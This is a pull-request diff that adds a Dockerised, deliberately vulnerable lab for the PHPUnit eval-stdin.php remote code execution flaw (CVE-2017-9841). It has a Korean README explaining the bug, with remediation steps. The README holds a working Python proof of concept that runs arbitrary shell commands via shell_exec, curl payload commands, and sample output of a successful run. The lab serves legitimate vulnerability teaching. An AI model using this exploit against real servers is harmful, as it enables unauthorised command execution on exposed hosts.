Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions CVE-2017-9841/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
vendor/
25 changes: 25 additions & 0 deletions CVE-2017-9841/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
FROM composer:2.2 AS builder

WORKDIR /app

ENV COMPOSER_ALLOW_SUPERUSER=1

COPY composer.json composer.lock ./

RUN composer install \
--no-interaction \
--prefer-dist \
--no-progress \
--ignore-platform-req=php


FROM php:7.1-apache

WORKDIR /var/www/html

COPY --from=builder /app/vendor ./vendor
COPY index.php ./index.php

RUN chown -R www-data:www-data /var/www/html

EXPOSE 80
273 changes: 273 additions & 0 deletions CVE-2017-9841/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,273 @@
# PHPUnit ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰ ์ทจ์•ฝ์  ๋ณด๊ณ ์„œ (CVE-2017-9841)

## 1. ์ทจ์•ฝ์  ์š”์•ฝ

PHPUnit์€ PHP ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋‹จ์œ„ ํ…Œ์ŠคํŠธ๋ฅผ ์ง€์›ํ•˜๋Š” ํ…Œ์ŠคํŠธ ํ”„๋ ˆ์ž„์›Œํฌ๋‹ค. CVE-2017-9841์€ ์ทจ์•ฝํ•œ PHPUnit ๋ฒ„์ „์˜ eval-stdin.php ํŒŒ์ผ์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰(RCE) ์ทจ์•ฝ์ ์ด๋‹ค.

### ์˜ํ–ฅ์„ ๋ฐ›๋Š” ๋ฒ„์ „

* PHPUnit 4.8.28 ๋ฏธ๋งŒ
* PHPUnit 5.x ์ค‘ 5.6.3 ๋ฏธ๋งŒ
* ๋ณธ ์‹ค์Šต ํ™˜๊ฒฝ์—์„œ๋Š” ์ทจ์•ฝํ•œ ๋ฒ„์ „์ธ **PHPUnit 5.6.2**๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.

### ์ทจ์•ฝ์  ๋ฉ”์ปค๋‹ˆ์ฆ˜

์ทจ์•ฝํ•œ ํŒŒ์ผ์˜ ๊ฒฝ๋กœ๋Š” /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php์ด๋ฉฐ ํ•ด๋‹น ํŒŒ์ผ์—๋Š” HTTP ์š”์ฒญ ๋ณธ๋ฌธ(Body)์„ ์ฝ์–ด `eval()` ํ•จ์ˆ˜๋กœ ์‹คํ–‰ํ•˜๋Š” ๋‹ค์Œ ์ฝ”๋“œ๊ฐ€ ์กด์žฌํ•œ๋‹ค.

```php
eval('?>'.file_get_contents('php://input'));

```

๊ณต๊ฒฉ์ž๊ฐ€ <?php๋กœ ์‹œ์ž‘ํ•˜๋Š” PHP ์ฝ”๋“œ๋ฅผ HTTP POST ์š”์ฒญ ๋ณธ๋ฌธ์— ์‚ฝ์ž…ํ•˜์—ฌ ์ „์†กํ•˜๋ฉด, ํ•ด๋‹น ์ฝ”๋“œ๊ฐ€ ์›น ์„œ๋ฒ„ ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋œ๋‹ค.

---

## 2. ํ™˜๊ฒฝ ๊ตฌ์„ฑ

๋ณธ ํ™˜๊ฒฝ์€ ์™ธ๋ถ€ ์ด๋ฏธ์ง€์— ์˜์กดํ•˜์ง€ ์•Š๊ณ  ์ œ๊ณต๋œ Dockerfile๊ณผ docker-compose.yml ํŒŒ์ผ์„ ํ†ตํ•ด ๋…๋ฆฝ์ ์œผ๋กœ ๋นŒ๋“œ ๋ฐ ์‹คํ–‰๋˜๋„๋ก ๊ตฌ์„ฑํ•˜์˜€๋‹ค.

### ํ™˜๊ฒฝ ์ง€ํ‘œ ๋ฐ ๋ช…์„ธ

* **์ทจ์•ฝ์ :** CVE-2017-9841
* **์ทจ์•ฝ ํ”„๋กœ๊ทธ๋žจ:** PHPUnit 5.6.2 (Dockerfile์„ ํ†ตํ•ด ์ง์ ‘ ์„ค์น˜)
* **์›น ์„œ๋ฒ„ ๋ฐ PHP:** Apache HTTP Server / PHP 7.1
* **์ปจํ…Œ์ด๋„ˆ ํ”Œ๋žซํผ:** Docker Compose (ํ˜ธ์ŠคํŠธ 8080 ํฌํŠธ์™€ ์ปจํ…Œ์ด๋„ˆ 80 ํฌํŠธ ์—ฐ๊ฒฐ)
* **PoC ๊ตฌ๋™ ์–ธ์–ด:** Python 3 (์™ธ๋ถ€ ํŒจํ‚ค์ง€ ์˜์กด์„ฑ ์—†์Œ, ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์‚ฌ์šฉ)

### ์ €์žฅ์†Œ ๊ตฌ์กฐ

```text
CVE-2017-9841/
โ”œโ”€โ”€ Dockerfile
โ”œโ”€โ”€ docker-compose.yml
โ”œโ”€โ”€ composer.json
โ”œโ”€โ”€ composer.lock
โ”œโ”€โ”€ index.php
โ”œโ”€โ”€ POC.py
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ images/
โ”œโ”€โ”€ environment.png
โ”œโ”€โ”€ phpinfo.png
โ””โ”€โ”€ poc-result.png

```

---

## 3. ์ทจ์•ฝ ์กฐ๊ฑด

๋‹ค์Œ ์กฐ๊ฑด์ด ๋ชจ๋‘ ์ถฉ์กฑ๋  ๋•Œ ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๋ฉฐ ๊ณต๊ฒฉ์ด ์„ฑ๋ฆฝํ•œ๋‹ค.

1. ์‹œ์Šคํ…œ์— ์ทจ์•ฝํ•œ PHPUnit ๋ฒ„์ „(4.8.28 ๋ฏธ๋งŒ ๋˜๋Š” 5.6.3 ๋ฏธ๋งŒ)์ด ์„ค์น˜๋˜์–ด ์žˆ์–ด์•ผ ํ•œ๋‹ค.
2. PHPUnit์˜ vendor ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ์›น ์„œ๋ฒ„์˜ ๊ณต๊ฐœ ๊ฒฝ๋กœ(Document Root) ํ•˜์œ„์— ๋…ธ์ถœ๋˜์–ด ์žˆ์–ด์•ผ ํ•œ๋‹ค.
3. ์™ธ๋ถ€ ์‚ฌ์šฉ์ž๊ฐ€ eval-stdin.php ํŒŒ์ผ์˜ URL ๊ฒฝ๋กœ์— ์ง์ ‘ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•œ๋‹ค.
4. ๊ณต๊ฒฉ์ž๊ฐ€ ํ•ด๋‹น ์—”๋“œํฌ์ธํŠธ๋กœ HTTP POST ์š”์ฒญ์„ ์ „์†กํ•˜๋Š” ๋ฐ ์ œํ•œ์ด ์—†์–ด์•ผ ํ•œ๋‹ค.

---

## 4. ์‹คํ–‰

### 4.1 ์‚ฌ์ „ ์š”๊ตฌ์‚ฌํ•ญ ํ™•์ธ

๋ณธ ํ™˜๊ฒฝ์„ ์‹คํ–‰ํ•˜๊ธฐ ์ „, ๋กœ์ปฌ PC์— ๋‹ค์Œ ๋„๊ตฌ๋“ค์ด ์„ค์น˜๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.

```bash
git --version
docker --version
docker compose version

```

* Windows ํ™˜๊ฒฝ์€ `py --version` ๋˜๋Š” `python --version`์œผ๋กœ ํŒŒ์ด์ฌ์„ ํ™•์ธํ•œ๋‹ค.
* macOS ๋ฐ Linux ํ™˜๊ฒฝ์€ `python3 --version`์œผ๋กœ ํŒŒ์ด์ฌ์„ ํ™•์ธํ•œ๋‹ค.

### 4.2 ํ™˜๊ฒฝ ์‹คํ–‰ ๋ฐ ๊ฒ€์ฆ

์ €์žฅ์†Œ๋ฅผ ๋ณต์ œํ•œ ๋’ค ํ•ด๋‹น ์ทจ์•ฝ์  ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ ์ด๋™ํ•˜์—ฌ `docker-compose` ๋กœ ํ™˜๊ฒฝ์„ ์™„์„ฑํ•œ๋‹ค.

```bash
cd kr-vulhub/CVE-2017-9841

docker compose up -d --build

docker compose ps

```

* **์›น ์„œ๋ฒ„ ์ ‘์† ํ™•์ธ:** ๋ธŒ๋ผ์šฐ์ €์—์„œ `http://localhost:8080`์— ์ ‘๊ทผํ•˜์—ฌ ์ทจ์•ฝํ•œ PHPUnit ์‹ค์Šต ์›น ํŽ˜์ด์ง€๊ฐ€ ์ •์ƒ์ ์œผ๋กœ ์ถœ๋ ฅ๋˜๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.

---
## 5. ์žฌํ˜„ ์ ˆ์ฐจ

![์ด๋ฏธ์ง€2](image%20(2).png)
![์ด๋ฏธ์ง€3](image%20(3).png)
![์ด๋ฏธ์ง€4](image%20(4).png)
![์ด๋ฏธ์ง€5](image%20(5).png)
![์ด๋ฏธ์ง€6](image%20(6).png)
![์ด๋ฏธ์ง€7](image%20(7).png)


## 6. PoC ์ฝ”๋“œ

๋ณธ PoC๋Š” ์™ธ๋ถ€ ํŒจํ‚ค์ง€ ์„ค์น˜(requests ๋“ฑ) ์—†์ด ๋ณต์‚ฌํ•˜์—ฌ ๋ฐ”๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํŒŒ์ด์ฌ ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ(`urllib`)๋งŒ์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ตฌํ˜„ํ•˜์˜€๋‹ค. ๋ชจ๋“  ํŒŒ์ผ์€ UTF-8 ํ˜•์‹์œผ๋กœ ์ €์žฅํ•œ๋‹ค.

```python
#!/usr/bin/env python3
import argparse
import sys
import urllib.error
import urllib.request

VULNERABLE_PATH = "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"

def escape_php_single_quoted(value: str) -> str:
return value.replace("\\", "\\\\").replace("'", "\\'")

def main() -> int:
parser = argparse.ArgumentParser(description="PoC for PHPUnit CVE-2017-9841")
parser.add_argument("-u", "--url", default="http://localhost:8080", help="Target base URL")
parser.add_argument("-c", "--command", default="id", help="Command to execute")
args = parser.parse_args()

target_url = args.url.rstrip("/") + VULNERABLE_PATH
command = escape_php_single_quoted(args.command)

payload = (
"<?php "
'echo "[CVE-2017-9841 PoC]\\n"; '
f"echo shell_exec('{command}'); "
"?>"
).encode("utf-8")

request = urllib.request.Request(
target_url,
data=payload,
method="POST",
headers={"Content-Type": "application/octet-stream"},
)

print(f"[+] Target: {target_url}")
print(f"[+] Command: {args.command}")

try:
with urllib.request.urlopen(request, timeout=10) as response:
body = response.read().decode("utf-8", errors="replace")
status = response.status
except urllib.error.URLError as error:
print(f"[-] Request failed: {error}")
return 1

print(f"[+] HTTP status: {status}")
print("[+] Response:")
print(body.strip())

if status == 200 and "[CVE-2017-9841 PoC]" in body:
print("[+] Vulnerability reproduced successfully.")
return 0

print("[-] Vulnerability reproduction failed.")
return 1

if __name__ == "__main__":
sys.exit(main())

```

---

## 7. ์‹คํ–‰ ๊ฒฐ๊ณผ

### 7.1 ๊ธฐ๋ณธ ๋ช…๋ น์–ด ์‹คํ–‰ (`id`)

์ž‘์„ฑ๋œ `POC.py` ํŒŒ์ผ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋Œ€์ƒ ์„œ๋ฒ„์— ์›๊ฒฉ ๋ช…๋ น์„ ์ˆ˜ํ–‰ํ•œ๋‹ค.

* **Windows:** `py POC.py -u http://localhost:8080`
* **macOS / Linux:** `python3 POC.py -u http://localhost:8080`

**์„ฑ๊ณต ์‹œ ์ถœ๋ ฅ ๊ฒฐ๊ณผ:**

```text
[+] Target: http://localhost:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[+] Command: id
[+] HTTP status: 200
[+] Response:
[CVE-2017-9841 PoC]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Vulnerability reproduced successfully.

```

๊ณต๊ฒฉ์ž๊ฐ€ ๋ณด๋‚ธ PHP ์ฝ”๋“œ๊ฐ€ ์›๊ฒฉ์ง€ ์„œ๋ฒ„ ๋‚ด๋ถ€์—์„œ ์ •์ƒ์ ์œผ๋กœ ํŒŒ์‹ฑ๋˜์—ˆ์œผ๋ฉฐ, Apache ์›น ์„œ๋ฒ„ ๊ณ„์ • ๊ถŒํ•œ์ธ `www-data`๋กœ ์ž„์˜ ๋ช…๋ น์–ด๊ฐ€ ์‹คํ–‰๋˜์—ˆ์Œ์„ ๊ฒ€์ฆํ•˜์˜€๋‹ค.

### 7.2 ๋ธŒ๋ผ์šฐ์ € ๊ธฐ๋ฐ˜ ์ถ”๊ฐ€ ๊ฒ€์ฆ (`phpinfo`)

`curl` ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์š”์ฒญ ๋ณธ๋ฌธ์— `phpinfo();` ํ•จ์ˆ˜๋ฅผ ์‚ฝ์ž…ํ•œ ๋’ค, ์ƒ์„ฑ๋œ HTML ๊ฒฐ๊ณผ๋ฅผ ๋ธŒ๋ผ์šฐ์ €๋กœ ํ™•์ธํ•œ๋‹ค.

* **Windows PowerShell:**
```powershell
curl.exe -X POST --data "<?php phpinfo(); ?>" http://localhost:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php -o phpinfo.html
start phpinfo.html

```


* **macOS / Linux:**
```bash
curl -X POST --data '<?php phpinfo(); ?>' http://localhost:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php -o phpinfo.html
open phpinfo.html || xdg-open phpinfo.html

```



์ถœ๋ ฅ๋œ ํŒŒ์ผ ๋‚ด๋ถ€์—์„œ `PHP Version 7.1.33`, `User/Group: www-data` ๋“ฑ์˜ ๋ณ€์ˆ˜๊ฐ’์ด ๋ณ€์กฐ ์—†์ด ๋ช…ํ™•ํ•˜๊ฒŒ ๋…ธ์ถœ๋จ์œผ๋กœ์จ RCE ์ทจ์•ฝ์ ์ด ์‹œ๊ฐ์ ์œผ๋กœ ์ฆ๋ช…๋œ๋‹ค.

---

## 8. ๋Œ€์‘ ๋ฐฉ์•ˆ

### 8.1 PHPUnit ์ปดํฌ๋„ŒํŠธ ์—…๋ฐ์ดํŠธ

๊ฐ€์žฅ ๊ทผ๋ณธ์ ์ธ ํ•ด๊ฒฐ์ฑ…์€ ์ทจ์•ฝ์ ์ด ํŒจ์น˜๋œ ์ตœ์‹  ๋ฒ„์ „์œผ๋กœ ์—…๋ฐ์ดํŠธํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

* PHPUnit 4 ๊ณ„์—ด ์‚ฌ์šฉ ์‹œ: 4.8.28 ์ด์ƒ์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•œ๋‹ค.
* PHPUnit 5 ๊ณ„์—ด ์‚ฌ์šฉ ์‹œ: 5.6.3 ์ด์ƒ์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•œ๋‹ค.

### 8.2 ์šด์˜(Production) ํ™˜๊ฒฝ ๋ถ„๋ฆฌ ๋ฐ ์˜์กด์„ฑ ๋ฐฐ์ œ

ํ…Œ์ŠคํŠธ ํ”„๋ ˆ์ž„์›Œํฌ์ธ PHPUnit์€ ๊ฐœ๋ฐœ ๋‹จ๊ณ„์—์„œ๋งŒ ์‚ฌ์šฉํ•ด์•ผ ํ•œ๋‹ค. ๋ฐฐํฌ ๋ฐ ์šด์˜ ์„œ๋ฒ„ ๋นŒ๋“œ ์‹œ์—๋Š” ๊ฐœ๋ฐœ์šฉ ํŒจํ‚ค์ง€๊ฐ€ ํฌํ•จ๋˜์ง€ ์•Š๋„๋ก ์˜ต์…˜์„ ๊ฐ•์ œํ•œ๋‹ค.

```bash
composer install --no-dev

```

### 8.3 ์›น ์„œ๋ฒ„ ์„ค์ •์„ ํ†ตํ•œ ์™ธ๋ถ€ ์ ‘๊ทผ ์›์ฒœ ์ฐจ๋‹จ

์™ธ๋ถ€ ์‚ฌ์šฉ์ž๊ฐ€ vendor ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์ง์ ‘ URL์„ ํƒ€๊ณ  ๋“ค์–ด์˜ฌ ์ˆ˜ ์—†๋„๋ก ์›น ์„œ๋ฒ„ ์„ค์ • ํŒŒ์ผ(Apache ํ˜น์€ Nginx)์— ์ ‘๊ทผ ์ œํ•œ ์ •์ฑ…์„ ์ˆ˜๋ฆฝํ•œ๋‹ค.

* **Apache ์˜ˆ์‹œ:**
```apache
<Directory "/var/www/html/vendor">
Require all denied
</Directory>

```



### 8.4 ์›น ๋ฃจํŠธ(Document Root) ๊ตฌ์กฐ ๊ฐœ์„ 

ํ”„๋กœ์ ํŠธ ์ „์ฒด ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ์›น์— ๊ณต๊ฐœ๋˜์ง€ ์•Š๋„๋ก, ์™ธ๋ถ€ ์ ‘๊ทผ์šฉ ํŒŒ์ผ๋งŒ ๋ชจ์•„๋‘” public ํด๋”๋ฅผ ์‹ ์„คํ•˜๊ณ  ํ•ด๋‹น ๊ฒฝ๋กœ๋งŒ ์›น ๋ฃจํŠธ๋กœ ์ง€์ •ํ•œ๋‹ค. vendor ํด๋”๋Š” ์›น ์„œ๋ฒ„ ์ƒ์œ„ ๊ฒฝ๋กœ์— ๊ฒฉ๋ฆฌํ•˜๋Š” ๊ตฌ์กฐ์  ๋ณด์•ˆ์„ ์ ์šฉํ•œ๋‹ค.


---

### ์‹ค์Šต ํ™˜๊ฒฝ ์ข…๋ฃŒ ๋ช…๋ น์–ด

```bash
docker compose down --volumes --remove-orphans

```
4๋ฐ˜ ์˜ค๋กœ๋ผ
10 changes: 10 additions & 0 deletions CVE-2017-9841/composer.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
{
"name": "kr-vulhub/cve-2017-9841",
"description": "Vulnerable PHPUnit 5.6.2 environment for CVE-2017-9841",
"require-dev": {
"phpunit/phpunit": "5.6.2"
},
"config": {
"allow-plugins": false
}
}
Loading